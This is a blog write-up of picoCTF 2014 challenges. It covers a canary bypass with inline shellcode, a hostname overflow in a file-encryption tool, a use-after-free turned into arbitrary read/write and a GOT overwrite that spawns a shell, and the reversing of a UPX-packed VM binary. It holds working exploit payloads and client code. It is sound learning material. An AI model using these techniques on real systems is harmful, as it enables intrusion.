Reverse and learn

Dark corners of the code.

Feed

picoctf 2014 writeup

Contents

picoCTF is a computer security game targeted at middle and high school students. Never mind, I’m not a high school student, but I still did this ctf with my friends just for fun. Most of the challenges were straightforward except the last level ones. This ctf was designed for learning so that there was a hint for each challenge. I did four of them, three binary exploit (Nevernote, CrudeCrypt, Fancy Cache) and one reverse engineering (Baleful).

Nevernote

In light of the recent attacks on their machines, Daedalus Corp has implemented a buffer overflow detection library. Nevernote, a program made for Daedalus Corps employees to take notes, uses this library. Can you bypass their protection and read the secret?

Let’s check the custom buffer overflow detection library.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pico57275@shell:/home/nevernote$ ls
canary.c canary.h core flag.txt Makefile nevernote nevernote.c notes

cat canary.h
#define SAFE_BUFFER_SIZE 512

struct canary{
int canary;
int *verify;
};

/* buffer overflow resistant buffer */
struct safe_buffer{
char buf[SAFE_BUFFER_SIZE];
struct canary can;
};
...

cat canary.c
...
void get_canary(struct canary *c){
// store the canary on the heap for verification!
int *location = (int *)malloc(sizeof(int));

// use good randomness!
FILE *f = fopen("/dev/urandom", "r");
fread(location, sizeof(int), 1, f);
fclose(f);

c->verify = location;
c->canary = *location;
return;
}

void verify_canary(struct canary *c){
if (c->canary != *(c->verify)){
printf("Canary was incorrect!\n");
__canary_failure(1);
}

// we're all good; free the canary and return
free(c->verify);
return;
}
...

The safe_buffer struct (line 12 to 16) contained a string of size 512 and a canary struct (line 7 to 10). While creating a safe_buffer struct, its canary was initialized by reading from /dev/urandom. Nothing to say here, since the canary’s value would be really random. Let’s check the main function to see where would be the buffer overflow (this was a binary exploit challenge and it had a buffer overflow protection, so there would a buffer overflow some where).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat nevernote.c
...
#define NOTE_SIZE 1024

bool get_note(char *dest){
struct safe_buffer temporary;
bool valid;

get_canary(&temporary.can);

printf("Write your note: ");
fflush(stdout);
fgets(temporary.buf, NOTE_SIZE, stdin);

// disallow some characters
if (strchr(temporary.buf, '\t') || strchr(temporary.buf, '\r')){
valid = false;
}else{
valid = true;
strncpy(dest, temporary.buf, NOTE_SIZE);
}

verify_canary(&temporary.can);

return valid;
}
...

nevernote.c defined a buffer of size 1024 (line 3) that was much bigger than the safe_buffer’s size (512). Thus the buffer overflow was in line 13. The follwing code confirmed this buffer oveflow. However, the protection mechanism could detect it. Because I’ve overwritten the canary’s value and pointer to 0x61616161 (aaaa) and 0x61616161 respectively. The check would not pass since 0x61616161 != *(0x61616161).

pico57275@shell:/home/nevernote$ python -c 'print "someone\n" + "add\n" + "a"*600'|./nevernote 
Please enter your name: Enter a command: Write your note: Buffer overflow detected! Exiting.

So we controlled both canary’s value and its pointer. In order to make this condition checked, I first thought about replacing the pointer by a pointer to our stack. Looked this segmentation fault at GDB, located our stack and picked a pointer in the middle of our stack, here 0xffffd4d0 for instance. (Credit: Feed binary stdin from inside gdb)

gdb -q ./nevernote
(gdb) r <<< $(python -c 'print "someone\n" + "add\n" + "a"*600')
Starting program: /home/nevernote/nevernote <<< $(python -c 'print "someone\n" + "add\n" + "a"*600')
Please enter your name: Enter a command: Write your note:
Program received signal SIGSEGV, Segmentation fault.
0x0804881b in verify_canary ()
(gdb) i r
eax 0x61616161 1633771873
ecx 0x804c490 134530192
edx 0x61616161 1633771873
...

(gdb) x/100xw $esp
...
0xffffd4c0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd4d0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd4e0: 0x61616161 0x61616161 0x61616161 0x61616161
0xffffd4f0: 0x61616161 0x61616161 0x61616161 0x61616161
...
(gdb)

Great, I had now a pointer to 0x61616161, but where should I put it? I needed to determine the offset of canary’s pointer. I used metsploit’s tool to create a pattern and get the offset.

$/usr/share/metasploit/tools/pattern_create.rb 600
...
(gdb) r <<< $(python -c 'print "someone\n" + "add\n" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9" ')
...
Please enter your name: Enter a command: Write your note:
Program received signal SIGSEGV, Segmentation fault.
0x0804881b in verify_canary ()
=> 0x0804881b <verify_canary+17>: 8b 00 mov (%eax),%eax
(gdb) print/x $eax
$1 = 0x41347441
(gdb) q

$/usr/share/metasploit/tools/pattern_offset.rb 0x41347441
[*] Exact match at offset 582

Let’s try this solution.

pico57275@shell:/home/nevernote$ ./nevernote <<< $(python -c 'print "someone\n" + "add\n" + "a"*582 + "\xd0\xd4\xff\xff"')
Please enter your name: Enter a command: Write your note: *** Error in './nevernote': free(): invalid pointer: 0xffffd4d0 ***
Aborted (core dumped)

Euh, the stack pointer that I used did not pass the free function. Thus, I needed to find other thing that was indeed a malloced memory area.

$cat nevernote.c
...
note_file_path = (char *)malloc(strlen(name)+64);
sprintf(note_file_path, "/home/nevernote/notes/%s", name);
...

Actually, the program wrote notes to a file with the given name. The above code showed that there was a malloc that contained the path prefix each time we added a note. This means that the first bytes pointed by this pointer would always be the same. What’s more, there was no ASLR on that machine so that the mallco address would not change. I could thus use this pointer and its value to replace the canary’s value and pointer. Just needed to retrieve these values in GDB. I’ve added two breakpoints, one at malloc and the other at after sprintf.

Breakpoint 2, 0x08048b2e in command_loop ()
(gdb) ni
(gdb) x/xw $eax
0x804c008: 0x00000000
(gdb) c
...
Breakpoint 3, 0x08048b50 in command_loop ()
(gdb) x/xw 0x0804c008
0x804c008: 0x6d6f682f

Try again the new solution. Note that I’ve added some junk after the canary pointer in order not to break the inner stack frame. The full call path was following: command_loop() -> add_note() -> get_note() -> verify_canary(). When get_note() was called, the buffer overflow happened, then it called verify_canary() to check the buffer overflow. If not enough care was taken, the buffer overflow would break the stack frame of verify_canary().

(gdb) r <<< $(python -c 'print "someone\n" + "add\n" + "a"*578 +"\x2f\x68\x6f\x6d" + "\x08\xc0\x04\x08" +"aaaa"+ "bbbb" + "\x58\xd6\xff\xff"*2 + "cccc" + "\xc0\x8a\xfc\xf7"*10')

Please enter your name: Enter a command: Write your note:
ived signal SIGSEGV, Segmentation fault.
0x63636363 in ?? ()
=> 0x63636363: Cannot access memory at address 0x63636363

So now I could control the eip. There was no ASLR and NX protection, I could put my shellcode on the stack (replace “a”*578 by the shellcode) and set eip to it (replace cccc by the address of stack). I used a custom shellcode that did execve(“/tmp/aaa”, [“/tmp/aaa”, NULL], NULL). Inside /tmp/aaa, I’ve just done a cat on the flag file. To find out how to write a tiny shellcode, check this repository.

pico57275@shell:/home/nevernote$ cat /tmp/aaa
#! /bin/sh
cat /home/nevernote/flag.txt

pico57275@shell:~$ /home/nevernote/nevernote <<< $(python -c 'print "someone\n" + "add\n" + "a"*52 + "\x90"*498 + "\x6a\x0b\x58\x99\x52\x68\x2f\x61\x61\x61\x68\x2f\x74\x6d\x70\x89\xe3\x52\x53\x89\xe1\xcd\x80\x6a\x01\x58\xcd\x80" +"\x2f\x68\x6f\x6d" + "\x08\xc0\x04\x08" +"aaaa"+ "bbbb" + "\x58\xd6\xff\xff"*2 + "\xd0\xd4\xff\xff" + "\xc0\x8a\xfc\xf7"*10')
Please enter your name: Enter a command: Write your note: the_hairy_canary_fairy_is_still_very_wary

CrudeCrypt

Without proper maintainers, development of Truecrypt has stopped! CrudeCrypt has emerged as a notable alternative in the open source community. The author has promised it is ‘secure’ but we know better than that. Take a look at the code and read the contents of flag.txt

Let’s how crude would this program be! The following code was a part of the main function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main(int argc, char **argv) {
if(argc < 4) {
help();
return -1;
}

void (*action)(FILE*, FILE*, unsigned char*);

if(strcmp(argv[1], "encrypt") == 0) {
action = &encrypt_file;
// You shouldn't be able to encrypt files you don't have permission to.
setegid(getgid());
} else if(strcmp(argv[1], "decrypt") == 0) {
action = &decrypt_file;
} else {
printf("%s is not a valid action.\n", argv[1]);
help();
return -2;
}
...
printf("-> File password: ");
fgets(file_password, PASSWORD_LEN, stdin);
printf("\n");

unsigned char digest[16];
hash_password(digest, file_password);

action(src_file, out_file, digest);
...
}

There were two options: encrypt and decrypt. Note that while encrypting, the effective group id was removed (line 12). This means that we could not encrypt a file that we did not have the access right. In the other hand, while decrypting, the effective group id was not removed. Then it asked a password (line 22) and the hash of this password would be used as encryption (or decryption) key (line 25 to 28). Next, let’s check its encryption routine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define HOST_LEN 32
#define MULT_BLOCK_SIZE(size) \
(!((size) % 16) ? (size) : (size) + (16 - ((size) % 16)))

typedef struct {
unsigned int magic_number;
unsigned long file_size;
char host[HOST_LEN];
} file_header;


void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {
int size = file_size(raw_file);
size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);
char* padded_block = calloc(1, block_size);

file_header header;
init_file_header(&header, size);
safe_gethostname(header.host, HOST_LEN);

memcpy(padded_block, &header, sizeof(file_header));
fread(padded_block + sizeof(file_header), 1, size, raw_file);

if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {
printf("There was an error encrypting the file!\n");
return;
}
...
}

The encryption route prepended a file_header struct to the original file (line 21, 22) and then encrypted them with the hash of the given password (line 24). file_header had three field: magic, file_size and host (line 5 to 9). magic had a fixed value and was used after decryption to verify if the password was correct. host stored the machine’s hostname that was used for encryption (line 19). This field had a fixed size of 32 (line 1). Until now, nothing special to say, I continued to look at the decryption routine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {
int size = file_size(enc_file);
char* enc_buf = calloc(1, size);
fread(enc_buf, 1, size, enc_file);

if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {
printf("There was an error decrypting the file!\n");
return;
}

char* raw_buf = enc_buf;
file_header* header = (file_header*) raw_buf;

if(header->magic_number != MAGIC) {
printf("Invalid password!\n");
return;
}

if(!check_hostname(header)) {
printf("[#] Warning: File not encrypted by current machine.\n");
}
...
}

bool check_hostname(file_header* header) {
char saved_host[HOST_LEN], current_host[HOST_LEN];
strncpy(saved_host, header->host, strlen(header->host));
safe_gethostname(current_host, HOST_LEN);
return strcmp(saved_host, current_host) == 0;
}

The decryption routine first check if the password was correct (line 13 to 17). Then it called check_hostname(header) to check the hostname (line 19 to 21). In this function, it copied the decrypted hostname to a local variable saved_host (line 27). Here it supposed that the decrypted hostname’s size would not be bigger than HOST_LEN that was 32. There was no check on the size of the decrypted hostname. Therefore, if we crafted a encrypted file with a hostname whose size was much bigger than 32, we could generate a buffer overflow! In order to do this, I copied the c source and Makefile to the /tmp/ directory. I changed the safe_gethostname function so that I could have a evil hostname. I’ve set the hostname’s length to 128.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$cat crude_crypt.c
...
#define HOST_LEN 128
...

void safe_gethostname(char *name, size_t len) {
/*gethostname(name, len);*/
int i = 0;
for (i=0; i<len; i++){
name[i] = 0x66;
}
name[len-1] = '\0';
}
...

$make
$./crude_crypt encrypt Makefile evil
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: a

=> Encrypted file successfully
$gdb -q --args /home/crudecrypt/crude_crypt decrypt evil output
(gdb) r
Starting program: /home/crudecrypt/crude_crypt decrypt evil output
-=- Welcome to CrudeCrypt 0.1 Beta -=-
-> File password: a

Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
(gdb) q

Well, the eip was overwritten to 0x66666666 that we controlled. There was neither ASLR nor NX protection. Therefore, we can use the same technique as the previous challenge nevernote. I will omit the following steps :p. The lesson learned: never trust user inputs !

Fancy Cache

Margaret wrote a fancy in-memory cache server. For extra security, she made a custom string structure that keeps strings on the heap. However, it looks like she was a little sloppy with her mallocs and frees. Can you find and exploit a bug to get a shell?

The server of this challenge had ASLR and NX protection. We had the source code, binary, libc and a python client for communication with the server. The first hint was that there was an use after free (UAF) in this program. I first looked at the main function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while (1) {                                                                                                                           
if (read(STDIN_FILENO, &command, 1) != 1) {
exit(1);
}

switch (command) {
case CACHE_GET:
do_cache_get();
break;
case CACHE_SET:
do_cache_set();
break;
default:
// Invalid command.
return 1;
break;
}
}

There was a main loop that would either call do_cache_get() (line 8) or do_cache_set() (line 11) upon the user input. Let’s look at the cache structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct string {                                                                                                                         
size_t length;
size_t capacity;
char *data;
};

struct cache_entry {
struct string *key;
struct string *value;
// The cache entry expires after it has been looked up this many times.
int lifetime;
};
...
// The goal of this challenge is to get a shell. Since this machine has
// ASLR enabled, a good first step is to get the ability to read memory
// from the server. Once you have that working, read this string for a
// (flag|hint next steps).
const char *kSecretString = ...
...
// Initializes a struct string to an empty string.
void string_init(struct string *str) {
str->length = 0;
str->capacity = 0;
str->data = NULL;
}
...

Each cache had three field: key, value, lifetime. Both key and value were variables of string struct. The string struct had also three fields: length, capacity and data. When a new string variable was created, the data field would be allocated with sufficient memory. Here came the second hint. Organisers have left a second hint in this program. Actually they were saying that I needed a information leak that was indispensable to bypass ASLR. Now let’s take a look at the do_cache_get() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct cache_entry *cache_lookup(struct string *key) {
size_t i;
for (i = 0; i < kCacheSize; ++i) {
struct cache_entry *entry = &cache[i];

// Skip expired cache entries.
if (entry->lifetime == 0) {
continue;
}

if (string_eq(entry->key, key)) {
return entry;
}
}

return NULL;
}

void do_cache_get(void) {
struct string key;
string_init(&key);
read_into_string(&key);

struct cache_entry *entry = cache_lookup(&key);
if (entry == NULL) {
write(STDOUT_FILENO, &kNotFound, sizeof(kNotFound));
return;
}

write(STDOUT_FILENO, &kFound, sizeof(kFound));
write_string(entry->value);

--entry->lifetime;
if (entry->lifetime <= 0) {
// The cache entry is now expired.
fprintf(stderr, "Destroying key\n");
string_destroy(entry->key);
fprintf(stderr, "Destroying value\n");
string_destroy(entry->value);
}
}

do_cache_get() first created a key and asked user to input a key string (line 20 to 22). Then it called cache_lookup() function to search if the cache was in memory (line 24). If yes, it would return the cache’s value (line 31) and decrement the lifetime of this cache (line 33). Finally it checked whether the lifetime was negative. If yes, it would free both the key and value (they were both variables of string struct) (line 34 to 40). The definition of the cache_lookup() function is interesting and bugged (line 1 to 17). It would go over all in memory cache and do a strcmp on all caches whose lifetime was not zero (line 7). This means that if the lifetime of a cache was negative, the cache_lookup() function still considered this cache valid. However, in do_cache_get() function, when a cache’s lifetime became negative, this cache would be freed. So here it is, the use after free. And in the do_cache_set() function, there was no check on the lifetime value so that I could create a cache with a negative lifetime. POC time !

1
2
3
4
5
6
7
8
9
10
11
$cat client.py
...
def read_mem(target, size):
# Add an entry to the cache
assert cache_set(f, '/bin/sh\x00\x00\x00\x00\x00', pack4(size)+pack4(size)+pack4(target), 0xffffffff)
# Retrieve it back
assert cache_get(f, '/bin/sh\x00\x00\x00\x00\x00')

assert not cache_get(f, pack4(size)+pack4(size)+pack4(target))
assert not cache_get(f, '\x0c')
return cache_get(f, '/bin/sh\x00\x00\x00\x00\x00')

First, I created a cache with a lifetime -1 (line 5). Then I got back this cache so that it would be freed (line 7). At last, I added two cache_get() (line 9, 10) to modify the cache’s key and value (see explication below) and read back the target memory’s value (line 11). The following result was the server side debug information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$mkfifo /tmp/pipe
$cat /tmp/pipe | ./fancy_cache| nc -l 1337 > /tmp/pipe
Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])
malloc(12) = 0x8ddf008 (string_create)
realloc((nil), 12) = 0x8ddf018 (read_into_string)
malloc(12) = 0x8ddf028 (string_create)
realloc((nil), 12) = 0x8ddf038 (read_into_string)
realloc((nil), 12) = 0x8ddf048 (read_into_string)
Destroying key
free(0x8ddf008) (string_destroy str)
Destroying value
free(0x8ddf028) (string_destroy str)
realloc((nil), 12) = 0x8ddf028 (read_into_string)
realloc((nil), 1) = 0x8ddf008 (read_into_string)
realloc((nil), 12) = 0x890c058 (read_into_string)
Destroying key
free(0x890c008) (string_destroy str)
Destroying value
free(0x890c028) (string_destroy str)

Since the program did not create socket, I used netcat to execute it and listen on port 1337 (line 1, 2). Line 4 and 6 were the memory allocation for the cache’s key and value. After the retrieve of the cache, the key and value were freed (line 9 to 12). The reallocation in line 13 and 14 was the memory used to store the next cache_get’s key string. At the same time, the two memory area were used by the cache (because it’s lifetime was not zero). This means that we control the key and value of the cache. Indeed, the first reallocation (line 13) rewrote the cache’s value and the second one (line 14) rewrote the cache’s key value. Actually, I’ve replaced the data field of the cache’s value by the pointer that I wanted to read. For the cache’s key, I’ve justed rewritten the length of the original key (‘/bin/sh\x00\x00\x00\x00\x00’), that was 0xc because the key string in memory was not freed. In the end, the last cache_get (realloccation in line 15) read the target memory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$readelf -s fancy_cache | grep kSe
64: 0804b044 4 OBJECT GLOBAL DEFAULT 24 kSecretString

$cat clien.py
...
my_len = 4
my_target = 0x0804b044
stringAddr = unpack4(read_mem(my_target, my_len))
print("secret string address is 0x%08x"%stringAddr)

my_len = 140
my_target = stringAddr
print(read_mem(my_target, my_len))

$python2 client.py

secret string address is 0x08048bc8
Congratulations! Looks like you figured out how to read memory. This can can be a useful tool for defeating ASLR :-) Head over to https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html for some hints on how to go from what you have to a shell!

I retrieved the keSecretString variable address (line 1, 2) because I wanted to get back this secret information. Then I read the pointer address to this secret string (line 6 to 9) and the secret string (line 11 to 13). And here came the third hint. It explained the ret-to-libc technique (check above link for more information). At this step, I could read arbitrary memory. In order to use this technique, I would need to be able to write to arbitrary memory. To do this, I used the same bug and replace the last cache_get by cache_set.

1
2
3
4
5
6
7
8
9
10
def write_mem(target, value):
size = 4
# Add an entry to the cache
assert cache_set(f, '/bin/sh\x00\x00\x00\x00\x00', pack4(size)+pack4(size)+pack4(target), 0xffffffff)
# Retrieve it back
assert cache_get(f, '/bin/sh\x00\x00\x00\x00\x00')

assert not cache_get(f, pack4(size)+pack4(size)+pack4(target))
assert not cache_get(f, '\x0c')
assert cache_set(f, '/bin/sh\x00\x00\x00\x00\x00', pack4(value), 1)

Like explained in the hint link, I choosed to replace the GOT of memcmp by the GOT of system. Because memcmp had two string arguments that I could easily pass the argument of system (“/bin/sh”) to it. Now, I could read the memory at anywhere so it was easy to get the GOT value of memcmp. I still needed to calculate the offset from memcmp to system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$cat get_offset.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(){
char *a = "123";
char *b = "123";
int ret = 0;
int *memcmp_ptr, *system_ptr;

ret = memcmp(a, b, sizeof(a));
/* compile the program, repalce this value and recompile it.*/
memcmp_ptr = (int *)0x804a010;
printf("memcmp addr is 0x%08x\n", *memcmp_ptr);

ret = system("foo");
/* compile the program, repalce this value and recompile it.*/
system_ptr = (int *)0x804a014;
printf("system addr is 0x%08x\n", *system_ptr);
printf("the offset from memcmp to system is -0x%08x\n", *memcmp_ptr-*system_ptr);

return 0;
}

$gcc -m32 get_offset.c -o get_offset
$readelf -r get_offset
...
0804a010 00000207 R_386_JUMP_SLOT 00000000 memcmp
0804a014 00000307 R_386_JUMP_SLOT 00000000 system
...

$gcc -m32 get_offset.c -o get_offset
$./get_offset
memcmp addr is 0xf7f5e870
sh: 1: foo: not found
system addr is 0xf7e5c100
the offset from memcmp to system is -0x102770

I’ve written a small program to retrieve the offset from memcmp to system, that I’ve copied to the ctf server. First compiled this code and got back their pointer to GOT. Then put these value in the program and re-compiled it. Finally executed it and the offset was -0x102770. In the next, I would read memcmp’s GOT value, overwrite it by the value of system and trigger it to get a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
$readelf -r fancy_cache | grep memcmp 
0804b014 00000307 R_386_JUMP_SLOT 00000000 memcmp
$cat clien.py
...
def shell_get(f, key, s):
f.write(chr(CACHE_GET))
write_string(f, key)

t = telnetlib.Telnet()
t.sock = s
print("Got a shell!")
t.interact()

my_len = 4
my_target = 0x0804b014
memcmpAddr = unpack4(read_mem(my_target, my_len))
print("mmap address is 0x%08x"%memcmpAddr)
systemAddr = memcmpAddr - 0x00102770
write_mem(my_target, systemAddr)
shell_get(f, '/bin/sh\x00\x00\x00\x00\x00', s)

$python2 client.py

mmap address is 0xf76b4870
Got a shell!
id
uid=1009(fancy_cache) gid=1009(fancy_cache) groups=1009(fancy_cache)
pwd
/
ls /home
bleichenbacher
easyoverflow
ecb
fancy_cache
guess
hardcore_owner
lowentropy
netsino
policerecords
ubuntu
ls /home/fancy_cache
fancy_cache
fancy_cache.sh
flag.txt
cat /home/fancy_cache/flag.txt
that_wasnt_so_free_after_all

So the final exploit: first read the memcmp’s address (line 16), the used the previously calculated offset to get the address of system (line 18), replaced memcmp’s address by the address of system and called cache_get to trigger system so that I could have a shell. Indeed, system used the cache’s key as its argument (here ‘/bin/sh\x00\x00\x00\x00\x00’). It remained only to find the flag and read it.

Baleful

This program seems to be rather delightfully twisted! Can you get it to accept a password? We need it to get access to some Daedalus Corp files.

Finally a reverse engineering challenge. A few checks revealed that this binary was packed with upx.

$ strings -a baleful
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
...
$ upx -d baleful -o baleful.unpacked
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013

File size Ratio Format Name
-------------------- ------ ----------- -----------
148104 <- 6752 4.56% netbsd/elf386 baleful.unpacked

Unpacked 1 file.

I’ve used upx to unpack it and there was no error. Then I loaded this binary in IDA.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
.text:08049C82 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08049C82 main proc near
.text:08049C82 push ebp
.text:08049C83 mov ebp, esp
.text:08049C85 push edi
.text:08049C86 push ebx
.text:08049C87 and esp, 0FFFFFFF0h
.text:08049C8A sub esp, 90h
.text:08049C90 mov eax, large gs:14h
.text:08049C96 mov [esp+8Ch], eax
.text:08049C9D xor eax, eax
.text:08049C9F lea eax, [esp+10h]
.text:08049CA3 mov ebx, eax
.text:08049CA5 mov eax, 0
.text:08049CAA mov edx, 1Fh
.text:08049CAF mov edi, ebx ; esp+0x10
.text:08049CB1 mov ecx, edx ; count 0x1f
.text:08049CB3 rep stosd
.text:08049CB5 lea eax, [esp+10h]
.text:08049CB9 mov [esp], eax
.text:08049CBC call vm_start
.text:08049CC1 mov eax, 0
.text:08049CC6 mov edx, [esp+8Ch]
.text:08049CCD xor edx, large gs:14h
.text:08049CD4 jz short loc_8049CDB
.text:08049CD6 call ___stack_chk_fail
.text:08049CDB loc_8049CDB:
.text:08049CDB lea esp, [ebp-8]
.text:08049CDE pop ebx
.text:08049CDF pop edi
.text:08049CE0 pop ebp
.text:08049CE1 retn
.text:08049CE1 main endp

The main function was fairly simple. It first initialized a array of size 0x20 that began at address esp+0x10 to zero (line 12 to 18). Then it passed this array as argument (line 19 to 20) to function vm_start (line 21). I named it vm_start because it actually was a virtual machine. Let’s dissect this function little by little.

1
2
3
4
5
6
7
8
.text:0804898B                 push    ebp
.text:0804898C mov ebp, esp
.text:0804898E sub esp, 0C8h
.text:08048994 mov [ebp+offset], 1000h
.text:0804899B cmp [ebp+arg_0], 0
.text:0804899F jz short loc_80489CB
.text:080489A1 mov [ebp+count], 0
.text:080489A8 jmp short init_registers

It first created a offset with value 0x1000 (line 4). Then it used previously initialized array to initialize its registers (line 5 to 9). After initialization, I found the main switch of this virtual machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:08049C67 loc_8049C67:                            
.text:08049C67 mov eax, [ebp+offset] ;0x1000
.text:08049C6A add eax, 804C0C0h
.text:08049C6F movzx eax, byte ptr [eax]
.text:08049C72 cmp al, 1Dh ;exit opcode
.text:08049C74 jnz not_exit
.text:08049C7A mov eax, [ebp+reg_table]
.text:08049C80
.text:08049C80 locret_8049C80:
.text:08049C80 leave
.text:08049C81 retn
.text:08049C81 vm_start endp

.text:08048A2D not_exit:
.text:08048A2D mov eax, [ebp+offset]
.text:08048A30 add eax, 804C0C0h
.text:08048A35 movzx eax, byte ptr [eax]
.text:08048A38 movsx eax, al
.text:08048A3B cmp eax, 20h ; ; switch 33 cases
.text:08048A3E ja addOffset1 ; jumptable 08048A4B default case
.text:08048A44 mov eax, ds:off_8049DD4[eax*4]
.text:08048A4B jmp eax

The virtual machine’s memory was located at address 0x0804C0C0 + 0x1000 (line 1, 2). Its opcode size was 8 bits because each time it read one byte from its memory (line 3). Then it verified if the opcode’s value was 0x1D, that was exit (line 4). If not (line 5), it continued to check if the opcode’s value was bigger than 0x20 (line 14 to 19), which was the unknown opcode. If the opcode’s value was smaller than 0x20, it would fetch it’s address (line 21) and jump to it (line 22). Therefore, I knew that this virtual machine had 0x20 opcodes. In order to understand the virtual machine, I had to analyze all its opcodes. Let’s take an add instruction as an example.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:08048A8F add:
.text:08048A8F mov eax, [ebp+offset] ; jumptable 08048A4B case 2
.text:08048A92 add eax, 1
.text:08048A95 movzx eax, vm_mem[eax]
.text:08048A9C movsx eax, al
.text:08048A9F mov [ebp+op_flag], eax
.text:08048AA2 mov eax, [ebp+offset]
.text:08048AA5 add eax, 2
.text:08048AA8 movzx eax, vm_mem[eax]
.text:08048AAF movsx eax, al
.text:08048AB2 mov [ebp+reg_index], eax ; return value register index
.text:08048AB5 mov eax, [ebp+op_flag]
.text:08048AB8 cmp eax, 1
.text:08048ABB jz short loc_8048B1B
.text:08048ABD cmp eax, 1
.text:08048AC0 jg short loc_8048ACB
.text:08048AC2 test eax, eax
.text:08048AC4 jz short loc_8048ADE
.text:08048AC6 jmp op_add

.text:08048ACB loc_8048ACB:
.text:08048ACB cmp eax, 2
.text:08048ACE jz short loc_8048B4B
.text:08048AD0 cmp eax, 4
.text:08048AD3 jz loc_8048B7B
.text:08048AD9 jmp op_add

.text:08048ADE loc_8048ADE:
.text:08048ADE mov eax, [ebp+offset]
.text:08048AE1 add eax, 3
.text:08048AE4 movzx eax, vm_mem[eax]
.text:08048AEB movsx eax, al
.text:08048AEE mov eax, [ebp+eax*4+reg_table]
.text:08048AF5 mov [ebp+operand1], eax
.text:08048AF8 mov eax, [ebp+offset]
.text:08048AFB add eax, 4
